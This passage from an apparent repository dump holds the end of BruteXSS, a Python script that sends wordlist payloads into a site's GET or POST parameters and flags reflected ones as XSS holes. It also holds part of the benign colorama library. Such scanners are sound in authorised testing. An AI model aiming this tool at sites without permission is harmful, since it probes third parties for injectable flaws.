lostatus + \"-\"\n\t\t\tif len(b) < 10 :\n\t\t\t\tb = \"----------\"\n\t\t\tif len(lostatus) < 14:\n\t\t\t\tlostatus=\"--------------\"\n\t\t\tif len(l) < 2 :\n\t\t\t\tl = \"--\"\n\t\t\tlos = statuslen\n\t\t\tif los < 14:\n\t\t\t\tlos = 14\n\t\t\tlenb=len(str(len(b)))\n\t\t\tif lenb < 14:\n\t\t\t\tlenb = 10\n\t\t\telse:\n\t\t\t\tlenb = 20\n\t\t\tupb = (\"+-%s-+-%s-+-%s-+\")%(l,b,lostatus)\n\t\t\tprint(upb)\n\t\t\tst0 = \"Parameters\"\n\t\t\tst1 = \"Status\"\n\t\t\tprint(\"| Id | \"+st0.center(s,\" \")+\" | \"+st1.center(los,\" \")+\" |\")\n\t\t\tprint(upb)\n\t\t\tfor n,i,d in zip(num,p,status):\n\t\t\t    string = (\" %s | %s \")%(str(n),str(i));\n\t\t\t    lofnum = str(n).center(int(len(l)),\" \")\n\t\t\t    lofstr = i.center(s,\" \")\n\t\t\t    lofst = d.center(los,\" \")\n\t\t\t    if \"Not Vulnerable\" in lofst:\n\t\t\t    \tlofst = Fore.GREEN+d.center(los,\" \")+Style.RESET_ALL\n\t\t\t    else:\n\t\t\t    \tlofst = Fore.RED+d.center(los,\" \")+Style.RESET_ALL\n\t\t\t    print(\"| \"+lofnum+\" | \"+lofstr+\" | \"+lofst+\" |\")\n\t\t\t    print(upb)\n\t\t\treturn(\"\")\n\t\texcept(ValueError):\n\t\t\tprint(Style.BRIGHT+Fore.RED+\"[!] Uh oh! No parameters in URL!\"+Style.RESET_ALL)\n\t\t\tagain()\n\tdef complete(p,r,c,d):\n\t\tprint(\"[+] Bruteforce Completed.\")\n\t\tif c == 0:\n\t\t\tprint(\"[+] Given parameters are \"+Style.BRIGHT+Fore.GREEN+\"not vulnerable\"+Style.RESET_ALL+\" to XSS.\")\n\t\telif c ==1:\n\t\t\tprint(\"[+] %s Parameter is \"+Style.BRIGHT+Fore.RED+\"vulnerable\"+Style.RESET_ALL+\" to XSS.\")%c\n\t\telse:\n\t\t\tprint(\"[+] %s Parameters are \"+Style.BRIGHT+Fore.RED+\"vulnerable\"+Style.RESET_ALL+\" to XSS.\")%c\n\t\tprint(\"[+] Scan Result for %s:\")%d\n\t\tprint bg(p,r)\n\t\tagain()\n\tdef GET():\n\t\t\ttry:\n\t\t\t\ttry:\n\t\t\t\t\tgrey = Style.DIM+Fore.WHITE\n\t\t\t\t\tsite = raw_input(\"[?] Enter URL:\\n[?] > \") #Taking URL\n\t\t\t\t\tif 'https://' in site:\n\t\t\t\t\t\tpass\n\t\t\t\t\telif 'http://' in site:\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\tsite = \"http://\"+site\n\t\t\t\t\tfinalurl = urlparse.urlparse(site)\n\t\t\t\t\turldata = urlparse.parse_qsl(finalurl.query)\n\t\t\t\t\tdomain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)\n\t\t\t\t\tdomain = domain0.replace(\"https://\",\"\").replace(\"http://\",\"\").replace(\"www.\",\"\").replace(\"/\",\"\")\n\t\t\t\t\tprint (Style.DIM+Fore.WHITE+\"[+] Checking if \"+domain+\" is available...\"+Style.RESET_ALL)\n\t\t\t\t\tconnection = httplib.HTTPConnection(domain)\n\t\t\t\t\tconnection.connect()\n\t\t\t\t\tprint(\"[+] \"+Fore.GREEN+domain+\" is available! Good!\"+Style.RESET_ALL)\n\t\t\t\t\turl = site\n\t\t\t\t\tparaname = []\n\t\t\t\t\tparavalue = []\n\t\t\t\t\twordlist = raw_input(\"[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\\n[?] > \")\n\t\t\t\t\tif len(wordlist) == 0:\n\t\t\t\t\t\twordlist = 'wordlist.txt'\n\t\t\t\t\t\tprint(grey+\"[+] Using Default wordlist...\"+Style.RESET_ALL)\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tpayloads = []\n\t\t\t\t\twordlistimport(wordlist,payloads)\n\t\t\t\t\tlop = str(len(payloads))\n\t\t\t\t\tgrey = Style.DIM+Fore.WHITE\n\t\t\t\t\tprint(Style.DIM+Fore.WHITE+\"[+] \"+lop+\" Payloads loaded...\"+Style.RESET_ALL)\n\t\t\t\t\tprint(\"[+] Bruteforce start:\") \n\t\t\t\t\to = urlparse.urlparse(site)\n\t\t\t\t\tparameters = urlparse.parse_qs(o.query,keep_blank_values=True)\n\t\t\t\t\tpath = urlparse.urlparse(site).scheme+\"://\"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path\n\t\t\t\t\tfor para in parameters: #Arranging parameters and values.\n\t\t\t\t\t\tfor i in parameters[para]:\n\t\t\t\t\t\t\tparaname.append(para)\n\t\t\t\t\t\t\tparavalue.append(i)\n\t\t\t\t\ttotal = 0\n\t\t\t\t\tc = 0\n\t\t\t\t\tfpar = []\n\t\t\t\t\tfresult = []\n\t\t\t\t\tprogress = 0\n\t\t\t\t\tfor pn, pv in zip(paraname,paravalue): #Scanning the parameter.\n\t\t\t\t\t\tprint(grey+\"[+] Testing '\"+pn+\"' parameter...\"+Style.RESET_ALL)\n\t\t\t\t\t\tfpar.append(str(pn))\n\t\t\t\t\t\tfor x in payloads: #\n\t\t\t\t\t\t\tvalidate = x.translate(None, whitespace)\n\t\t\t\t\t\t\tif validate == \"\":\n\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tsys.stdout.write(\"\\r[+] %i / %s payloads injected...\"% (progress,len(payloads)))\n\t\t\t\t\t\t\t\tsys.stdout.flush()\n\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\t\tenc = urllib.quote_plus(x)\n\t\t\t\t\t\t\t\tdata = path+\"?\"+pn+\"=\"+pv+enc\n\t\t\t\t\t\t\t\tpage = urllib.urlopen(data)\n\t\t\t\t\t\t\t\tsourcecode = page.read()\n\t\t\t\t\t\t\t\tif x in sourcecode:\n\t\t\t\t\t\t\t\t\tprint(Style.BRIGHT+Fore.RED+\"\\n[!]\"+\" XSS Vulnerability Found! \\n\"+Fore.RED+Style.BRIGHT+\"[!]\"+\" Parameter:\\t%s\\n\"+Fore.RED+Style.BRIGHT+\"[!]\"+\" Payload:\\t%s\"+Style.RESET_ALL)%(pn,x)\n\t\t\t\t\t\t\t\t\tfresult.append(\"  Vulnerable  \")\n\t\t\t\t\t\t\t\t\tc = 1\n\t\t\t\t\t\t\t\t\ttotal = total+1\n\t\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tc = 0\n\t\t\t\t\t\tif c == 0:\n\t\t\t\t\t\t\tprint(Style.BRIGHT+Fore.GREEN+\"\\n[+]\"+Style.RESET_ALL+Style.DIM+Fore.WHITE+\" '%s' parameter not vulnerable.\"+Style.RESET_ALL)%pn\n\t\t\t\t\t\t\tfresult.append(\"Not Vulnerable\")\n\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tprogress = 0\n\t\t\t\t\tcomplete(fpar,fresult,total,domain)\n\t\t\t\texcept(httplib.HTTPResponse, socket.error) as Exit:\n\t\t\t\t\tprint(Style.BRIGHT+Fore.RED+\"[!] Site \"+domain+\" is offline!\"+Style.RESET_ALL)\n\t\t\t\t\tagain()\n\t\t\texcept(KeyboardInterrupt) as Exit:\n\t\t\t\tprint(\"\\nExit...\")\n\tdef POST():\n\t\ttry:\n\t\t\ttry:\n\t\t\t\ttry:\n\t\t\t\t\tbr = mechanize.Browser()\n\t\t\t\t\tbr.addheaders = [('User-agent', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11')]\n\t\t\t\t\tbr.set_handle_robots(False)\n\t\t\t\t\tbr.set_handle_refresh(False)\n\t\t\t\t\tsite = raw_input(\"[?] Enter URL:\\n[?] > \") #Taking URL\n\t\t\t\t\tif 'https://' in site:\n\t\t\t\t\t\tpass\n\t\t\t\t\telif 'http://' in site:\n\t\t\t\t\t\tpass\n\t\t\t\t\telse:\n\t\t\t\t\t\tsite = \"http://\"+site\n\t\t\t\t\tfinalurl = urlparse.urlparse(site)\n\t\t\t\t\turldata = urlparse.parse_qsl(finalurl.query)\n\t\t\t\t\tdomain0 = '{uri.scheme}://{uri.netloc}/'.format(uri=finalurl)\n\t\t\t\t\tdomain = domain0.replace(\"https://\",\"\").replace(\"http://\",\"\").replace(\"www.\",\"\").replace(\"/\",\"\")\n\t\t\t\t\tprint (Style.DIM+Fore.WHITE+\"[+] Checking if \"+domain+\" is available...\"+Style.RESET_ALL)\n\t\t\t\t\tconnection = httplib.HTTPConnection(domain)\n\t\t\t\t\tconnection.connect()\n\t\t\t\t\tprint(\"[+] \"+Fore.GREEN+domain+\" is available! Good!\"+Style.RESET_ALL)\n\t\t\t\t\tpath = urlparse.urlparse(site).scheme+\"://\"+urlparse.urlparse(site).netloc+urlparse.urlparse(site).path\n\t\t\t\t\turl = site\n\t\t\t\t\tparam = str(raw_input(\"[?] Enter post data: > \"))\n\t\t\t\t\twordlist = raw_input(\"[?] Enter location of Wordlist (Press Enter to use default wordlist.txt)\\n[?] > \")\n\t\t\t\t\tif len(wordlist) == 0:\n\t\t\t\t\t\twordlist = 'wordlist.txt'\n\t\t\t\t\t\tprint(\"[+] Using Default wordlist...\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tpass\n\t\t\t\t\tpayloads = []\n\t\t\t\t\twordlistimport(wordlist,payloads)\n\t\t\t\t\tlop = str(len(payloads))\n\t\t\t\t\tgrey = Style.DIM+Fore.WHITE\n\t\t\t\t\tprint(Style.DIM+Fore.WHITE+\"[+] \"+lop+\" Payloads loaded...\"+Style.RESET_ALL)\n\t\t\t\t\tprint(\"[+] Bruteforce start:\")\n\t\t\t\t\tparams = \"http://www.site.com/?\"+param\n\t\t\t\t\tfinalurl = urlparse.urlparse(params)\n\t\t\t\t\turldata = urlparse.parse_qsl(finalurl.query)\n\t\t\t\t\to = urlparse.urlparse(params)\n\t\t\t\t\tparameters = urlparse.parse_qs(o.query,keep_blank_values=True)\n\t\t\t\t\tparaname = []\n\t\t\t\t\tparavalue = []\n\t\t\t\t\tfor para in parameters: #Arranging parameters and values.\n\t\t\t\t\t\tfor i in parameters[para]:\n\t\t\t\t\t\t\tparaname.append(para)\n\t\t\t\t\t\t\tparavalue.append(i)\n\t\t\t\t\tfpar = []\n\t\t\t\t\tfresult = []\n\t\t\t\t\ttotal = 0\n\t\t\t\t\tprogress = 0\n\t\t\t\t\tpname1 = [] #parameter name\n\t\t\t\t\tpayload1 = []\n\t\t\t\t\tfor pn, pv in zip(paraname,paravalue): #Scanning the parameter.\n\t\t\t\t\t\tprint(grey+\"[+] Testing '\"+pn+\"' parameter...\"+Style.RESET_ALL)\n\t\t\t\t\t\tfpar.append(str(pn))\n\t\t\t\t\t\tfor i in payloads:\n\t\t\t\t\t\t\tvalidate = i.translate(None, whitespace)\n\t\t\t\t\t\t\tif validate == \"\":\n\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\t\tsys.stdout.write(\"\\r[+] %i / %s payloads injected...\"% (progress,len(payloads)))\n\t\t\t\t\t\t\t\tsys.stdout.flush()\n\t\t\t\t\t\t\t\tpname1.append(pn)\n\t\t\t\t\t\t\t\tpayload1.append(str(i))\n\t\t\t\t\t\t\t\td4rk = 0\n\t\t\t\t\t\t\t\tfor m in range(len(paraname)):\n\t\t\t\t\t\t\t\t\td = paraname[d4rk]\n\t\t\t\t\t\t\t\t\td1 = paravalue[d4rk]\n\t\t\t\t\t\t\t\t\ttst= \"\".join(pname1)\n\t\t\t\t\t\t\t\t\ttst1 = \"\".join(d)\n\t\t\t\t\t\t\t\t\tif pn in d:\n\t\t\t\t\t\t\t\t\t\td4rk = d4rk + 1\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\td4rk = d4rk +1\n\t\t\t\t\t\t\t\t\t\tpname1.append(str(d))\n\t\t\t\t\t\t\t\t\t\tpayload1.append(str(d1))\n\t\t\t\t\t\t\t\tdata = urllib.urlencode(dict(zip(pname1,payload1)))\n\t\t\t\t\t\t\t\tr = br.open(path, data)\n\t\t\t\t\t\t\t\tsourcecode =  r.read()\n\t\t\t\t\t\t\t\tpname1 = []\n\t\t\t\t\t\t\t\tpayload1 = []\n\t\t\t\t\t\t\t\tif i in sourcecode:\n\t\t\t\t\t\t\t\t\tprint(Style.BRIGHT+Fore.RED+\"\\n[!]\"+\" XSS Vulnerability Found! \\n\"+Fore.RED+Style.BRIGHT+\"[!]\"+\" Parameter:\\t%s\\n\"+Fore.RED+Style.BRIGHT+\"[!]\"+\" Payload:\\t%s\"+Style.RESET_ALL)%(pn,i)\n\t\t\t\t\t\t\t\t\tfresult.append(\"  Vulnerable  \")\n\t\t\t\t\t\t\t\t\tc = 1\n\t\t\t\t\t\t\t\t\ttotal = total+1\n\t\t\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tc = 0\n\t\t\t\t\t\tif c == 0:\n\t\t\t\t\t\t\tprint(Style.BRIGHT+Fore.GREEN+\"\\n[+]\"+Style.RESET_ALL+Style.DIM+Fore.WHITE+\" '%s' parameter not vulnerable.\"+Style.RESET_ALL)%pn\n\t\t\t\t\t\t\tfresult.append(\"Not Vulnerable\")\n\t\t\t\t\t\t\tprogress = progress + 1\n\t\t\t\t\t\t\tpass\n\t\t\t\t\t\tprogress = 0\n\t\t\t\t\tcomplete(fpar,fresult,total,domain)\n\t\t\t\texcept(httplib.HTTPResponse, socket.error) as Exit:\n\t\t\t\t\tprint(Style.BRIGHT+Fore.RED+\"[!] Site \"+domain+\" is offline!\"+Style.RESET_ALL)\n\t\t\t\t\tagain()\n\t\t\texcept(KeyboardInterrupt) as Exit:\n\t\t\t\tprint(\"\\nExit...\")\n\t\texcept (mechanize.HTTPError,mechanize.URLError) as e:\n\t\t\tprint(Style.BRIGHT+Fore.RED+\"\\n[!] HTTP ERROR! %s %s\"+Style.RESET_ALL)%(e.code,e.reason)\n\ttry:\n\t\tmethodselect = raw_input(\"[?] Select method: [G]ET or [P]OST (G/P): \").lower()\n\t\tif methodselect == 'g':\n\t\t\tGET()\n\t\telif methodselect == 'p':\n\t\t\tPOST()\n\t\telse:\n\t\t\tprint(\"[!] Incorrect method selected.\")\n\t\t\tagain()\n\texcept(KeyboardInterrupt) as Exit:\n\t\tprint(\"\\nExit...\")\n\nbrutexss()\n"
  },
  {
    "path": "BruteXSS/colorama/__init__.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nfrom .initialise import init, deinit, reinit, colorama_text\nfrom .ansi import Fore, Back, Style, Cursor\nfrom .ansitowin32 import AnsiToWin32\n\n__version__ = '0.3.7'\n\n"
  },
  {
    "path": "BruteXSS/colorama/ansi.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n'''\nThis module generates ANSI character codes to printing colors to terminals.\nSee: http://en.wikipedia.org/wiki/ANSI_escape_code\n'''\n\nCSI = '\\033['\nOSC = '\\033]'\nBEL = '\\007'\n\n\ndef code_to_chars(code):\n    return CSI + str(code) + 'm'\n\ndef set_title(title):\n    return OSC + '2;' + title + BEL\n\ndef clear_screen(mode=2):\n    return CSI + str(mode) + 'J'\n\ndef clear_line(mode=2):\n    return CSI + str(mode) + 'K'\n\n\nclass AnsiCodes(object):\n    def __init__(self):\n        # the subclasses declare class attributes which are numbers.\n        # Upon instantiation we define instance attributes, which are the same\n        # as the class attributes but wrapped with the ANSI escape sequence\n        for name in dir(self):\n            if not name.startswith('_'):\n                value = getattr(self, name)\n                setattr(self, name, code_to_chars(value))\n\n\nclass AnsiCursor(object):\n    def UP(self, n=1):\n        return CSI + str(n) + 'A'\n    def DOWN(self, n=1):\n        return CSI + str(n) + 'B'\n    def FORWARD(self, n=1):\n        return CSI + str(n) + 'C'\n    def BACK(self, n=1):\n        return CSI + str(n) + 'D'\n    def POS(self, x=1, y=1):\n        return CSI + str(y) + ';' + str(x) + 'H'\n\n\nclass AnsiFore(AnsiCodes):\n    BLACK           = 30\n    RED             = 31\n    GREEN           = 32\n    YELLOW          = 33\n    BLUE            = 34\n    MAGENTA         = 35\n    CYAN            = 36\n    WHITE           = 37\n    RESET           = 39\n\n    # These are fairly well supported, but not part of the standard.\n    LIGHTBLACK_EX   = 90\n    LIGHTRED_EX     = 91\n    LIGHTGREEN_EX   = 92\n    LIGHTYELLOW_EX  = 93\n    LIGHTBLUE_EX    = 94\n    LIGHTMAGENTA_EX = 95\n    LIGHTCYAN_EX    = 96\n    LIGHTWHITE_EX   = 97\n\n\nclass AnsiBack(AnsiCodes):\n    BLACK           = 40\n    RED             = 41\n    GREEN           = 42\n    YELLOW          = 43\n    BLUE            = 44\n    MAGENTA         = 45\n    CYAN            = 46\n    WHITE           = 47\n    RESET           = 49\n\n    # These are fairly well supported, but not part of the standard.\n    LIGHTBLACK_EX   = 100\n    LIGHTRED_EX     = 101\n    LIGHTGREEN_EX   = 102\n    LIGHTYELLOW_EX  = 103\n    LIGHTBLUE_EX    = 104\n    LIGHTMAGENTA_EX = 105\n    LIGHTCYAN_EX    = 106\n    LIGHTWHITE_EX   = 107\n\n\nclass AnsiStyle(AnsiCodes):\n    BRIGHT    = 1\n    DIM       = 2\n    NORMAL    = 22\n    RESET_ALL = 0\n\nFore   = AnsiFore()\nBack   = AnsiBack()\nStyle  = AnsiStyle()\nCursor = AnsiCursor()\n"
  },
  {
    "path": "BruteXSS/colorama/ansitowin32.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport re\nimport sys\nimport os\n\nfrom .ansi import AnsiFore, AnsiBack, AnsiStyle, Style\nfrom .winterm import WinTerm, WinColor, WinStyle\nfrom .win32 import windll, winapi_test\n\n\nwinterm = None\nif windll is not None:\n    winterm = WinTerm()\n\n\ndef is_stream_closed(stream):\n    return not hasattr(stream, 'closed') or stream.closed\n\n\ndef is_a_tty(stream):\n    return hasattr(stream, 'isatty') and stream.isatty()\n\n\nclass StreamWrapper(object):\n    '''\n    Wraps a stream (such as stdout), acting as a transparent proxy for all\n    attribute access apart from method 'write()', which is delegated to our\n    Converter instance.\n    '''\n    def __init__(self, wrapped, converter):\n        # double-underscore everything to prevent clashes with names of\n        # attributes on the wrapped stream object.\n        self.__wrapped = wrapped\n        self.__convertor = converter\n\n    def __getattr__(self, name):\n        return getattr(self.__wrapped, name)\n\n    def write(self, text):\n        self.__convertor.write(text)\n\n\nclass AnsiToWin32(object):\n    '''\n    Implements a 'write()' method which, on Windows, will strip ANSI character\n    sequences from the text, and if outputting to a tty, will convert them into\n    win32 function calls.\n    '''\n    ANSI_CSI_RE = re.compile('\\001?\\033\\[((?:\\d|;)*)([a-zA-Z])\\002?')     # Control Sequence Introducer\n    ANSI_OSC_RE = re.compile('\\001?\\033\\]((?:.|;)*?)(\\x07)\\002?')         # Operating System Command\n\n    def __init__(self, wrapped, convert=None, strip=None, autoreset=False):\n        # The wrapped stream (normally sys.stdout or sys.stderr)\n        self.wrapped = wrapped\n\n        # should we reset colors to defaults after every .write()\n        self.autoreset = autoreset\n\n        # create the proxy wrapping our output stream\n        self.stream = StreamWrapper(wrapped, self)\n\n        on_windows = os.name == 'nt'\n        # We test if the WinAPI works, because even if we are on Windows\n        # we may be using a terminal that doesn't support the WinAPI\n        # (e.g. Cygwin Terminal). In this case it's up to the terminal\n        # to support the ANSI codes.\n        conversion_supported = on_windows and winapi_test()\n\n        # should we strip ANSI sequences from our output?\n        if strip is None:\n            strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))\n        self.strip = strip\n\n        # should we should convert ANSI sequences into win32 calls?\n        if convert is None:\n            convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)\n        self.convert = convert\n\n        # dict of ansi codes to win32 functions and parameters\n        self.win32_calls = self.get_win32_calls()\n\n        # are we wrapping stderr?\n        self.on_stderr = self.wrapped is sys.stderr\n\n    def should_wrap(self):\n        '''\n        True if this class is actually needed. If false, then the output\n        stream will not be affected, nor will win32 calls be issued, so\n        wrapping stdout is not actually required. This will generally be\n        False on non-Windows platforms, unless optional functionality like\n        autoreset has been requested using kwargs to init()\n        '''\n        return self.convert or self.strip or self.autoreset\n\n    def get_win32_calls(self):\n        if self.convert and winterm:\n            return {\n                AnsiStyle.RESET_ALL: (winterm.reset_all, ),\n                AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),\n                AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),\n                AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),\n                AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),\n                AnsiFore.RED: (winterm.fore, WinColor.RED),\n                AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),\n                AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),\n                AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),\n                AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),\n                AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),\n                AnsiFore.WHITE: (winterm.fore, WinColor.GREY),\n                AnsiFore.RESET: (winterm.fore, ),\n                AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),\n                AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),\n                AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),\n                AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),\n                AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),\n                AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),\n                AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),\n                AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),\n                AnsiBack.BLACK: (winterm.back, WinColor.BLACK),\n                AnsiBack.RED: (winterm.back, WinColor.RED),\n                AnsiBack.GREEN: (winterm.back, WinColor.GREEN),\n                AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),\n                AnsiBack.BLUE: (winterm.back, WinColor.BLUE),\n                AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),\n                AnsiBack.CYAN: (winterm.back, WinColor.CYAN),\n                AnsiBack.WHITE: (winterm.back, WinColor.GREY),\n                AnsiBack.RESET: (winterm.back, ),\n                AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),\n                AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),\n                AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),\n                AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),\n                AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),\n                AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),\n                AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),\n                AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),\n            }\n        return dict()\n\n    def write(self, text):\n        if self.strip or self.convert:\n            self.write_and_convert(text)\n        else:\n            self.wrapped.write(text)\n            self.wrapped.flush()\n        if self.autoreset:\n            self.reset_all()\n\n\n    def reset_all(self):\n        if self.convert:\n            self.call_win32('m', (0,))\n        elif not self.strip and not is_stream_closed(self.wrapped):\n            self.wrapped.write(Style.RESET_ALL)\n\n\n    def write_and_convert(self, text):\n        '''\n        Write the given text to our wrapped stream, stripping any ANSI\n        sequences from the text, and optionally converting them into win32\n        calls.\n        '''\n        cursor = 0\n        text = self.convert_osc(text)\n        for match in self.ANSI_CSI_RE.finditer(text):\n            start, end = match.span()\n            self.write_plain_text(text, cursor, start)\n            self.convert_ansi(*match.groups())\n            cursor = end\n        self.write_plain_text(text, cursor, len(text))\n\n\n    def write_plain_text(self, text, start, end):\n        if start < end:\n            self.wrapped.write(text[start:end])\n            self.wrapped.flush()\n\n\n    def convert_ansi(self, paramstring, command):\n        if self.convert:\n            params = self.extract_params(command, paramstring)\n            self.call_win32(command, params)\n\n\n    def extract_params(self, command, paramstring):\n        if command in 'Hf':\n            params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))\n            while len(params) < 2:\n                # defaults:\n                params = params + (1,)\n        else:\n            params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)\n            if len(params) == 0:\n                # defaults:\n                if command in 'JKm':\n                    params = (0,)\n                elif command in 'ABCD':\n                    params = (1,)\n\n        return params\n\n\n    def call_win32(self, command, params):\n        if command == 'm':\n            for param in params:\n                if param in self.win32_calls:\n                    func_args = self.win32_calls[param]\n                    func = func_args[0]\n                    args = func_args[1:]\n                    kwargs = dict(on_stderr=self.on_stderr)\n                    func(*args, **kwargs)\n        elif command in 'J':\n            winterm.erase_screen(params[0], on_stderr=self.on_stderr)\n        elif command in 'K':\n            winterm.erase_line(params[0], on_stderr=self.on_stderr)\n        elif command in 'Hf':     # cursor position - absolute\n            winterm.set_cursor_position(params, on_stderr=self.on_stderr)\n        elif command in 'ABCD':   # cursor position - relative\n            n = params[0]\n            # A - up, B - down, C - forward, D - back\n            x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]\n            winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)\n\n\n    def convert_osc(self, text):\n        for match in self.ANSI_OSC_RE.finditer(text):\n            start, end = match.span()\n            text = text[:start] + text[end:]\n            paramstring, command = match.groups()\n            if command in '\\x07':       # \\x07 = BEL\n                params = paramstring.split(\";\")\n                # 0 - change title and icon (we will only change title)\n                # 1 - change icon (we don't support this)\n                # 2 - change title\n                if params[0] in '02':\n                    winterm.set_title(params[1])\n        return text\n"
  },
  {
    "path": "BruteXSS/colorama/initialise.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\nimport atexit\nimport contextlib\nimport sys\n\nfrom .ansitowin32 import AnsiToWin32\n\n\norig_stdout = None\norig_stderr = None\n\nwrapped_stdout = None\nwrapped_stderr = None\n\natexit_done = False\n\n\ndef reset_all():\n    if AnsiToWin32 is not None:    # Issue #74: objects might become None at exit\n        AnsiToWin32(orig_stdout).reset_all()\n\n\ndef init(autoreset=False, convert=None, strip=None, wrap=True):\n\n    if not wrap and any([autoreset, convert, strip]):\n        raise ValueError('wrap=False conflicts with any other arg=True')\n\n    global wrapped_stdout, wrapped_stderr\n    global orig_stdout, orig_stderr\n\n    orig_stdout = sys.stdout\n    orig_stderr = sys.stderr\n\n    if sys.stdout is None:\n        wrapped_stdout = None\n    else:\n        sys.stdout = wrapped_stdout = \\\n            wrap_stream(orig_stdout, convert, strip, autoreset, wrap)\n    if sys.stderr is None:\n        wrapped_stderr = None\n    else:\n        sys.stderr = wrapped_stderr = \\\n            wrap_stream(orig_stderr, convert, strip, autoreset, wrap)\n\n    global atexit_done\n    if not atexit_done:\n        atexit.register(reset_all)\n        atexit_done = True\n\n\ndef deinit():\n    if orig_stdout is not None:\n        sys.stdout = orig_stdout\n    if orig_stderr is not None:\n        sys.stderr = orig_stderr\n\n\n@contextlib.contextmanager\ndef colorama_text(*args, **kwargs):\n    init(*args, **kwargs)\n    try:\n        yield\n    finally:\n        deinit()\n\n\ndef reinit():\n    if wrapped_stdout is not None:\n        sys.stdout = wrapped_stdout\n    if wrapped_stderr is not None:\n        sys.stderr = wrapped_stderr\n\n\ndef wrap_stream(stream, convert, strip, autoreset, wrap):\n    if wrap:\n        wrapper = AnsiToWin32(stream,\n            convert=convert, strip=strip, autoreset=autoreset)\n        if wrapper.should_wrap():\n            stream = wrapper.stream\n    return stream\n\n\n"
  },
  {
    "path": "BruteXSS/colorama/win32.py",
    "content": "# Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.\n\n# from winbase.h\nSTDOUT = -11\nSTDERR = -12\n\ntry:\n    import ctypes\n    from ctypes import LibraryLoader\n    windll = LibraryLoader(ctypes.WinDLL)\n    from ctypes import wintypes\nexcept (AttributeError, ImportError):\n    windll = None\n    SetConsoleTextAttribute = lambda *_: None\n    winapi_test = lambda *_: None\nelse:\n    from ctypes import byref, Structure, c_char, POINTER\n\n    COORD = wintypes._COORD\n\n    class CONSOLE_SCREEN_BUFFER_INFO(Structure):\n        \"\"\"struct in wincon.h.\"\"\"\n        _fields_ = [\n            (\"dwSize\", COORD),\n            (\"dwCursorPosition\", COORD),\n            (\"wAttributes\", wintypes.WORD),\n            (\"srWindow\", wintypes.SMALL_RECT),\n            (\"dwMaximumWindowSize\", COORD),\n        ]\n        def __str__(self):\n            return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (\n                self.dwSize.Y, self.dwSize.X\n                , self.dwCursorPosition.Y, self.dwCursorPosition.X\n                , self.wAttributes\n                , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right\n                , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X\n            )\n\n    _GetStdHandle = windll.kernel32.GetStdHandle\n    _GetStdHandle.argtypes = [\n        wintypes.DWORD,\n    ]\n    _GetStdHandle.restype = wintypes.HANDLE\n\n    _GetConsoleScreenBufferInfo = 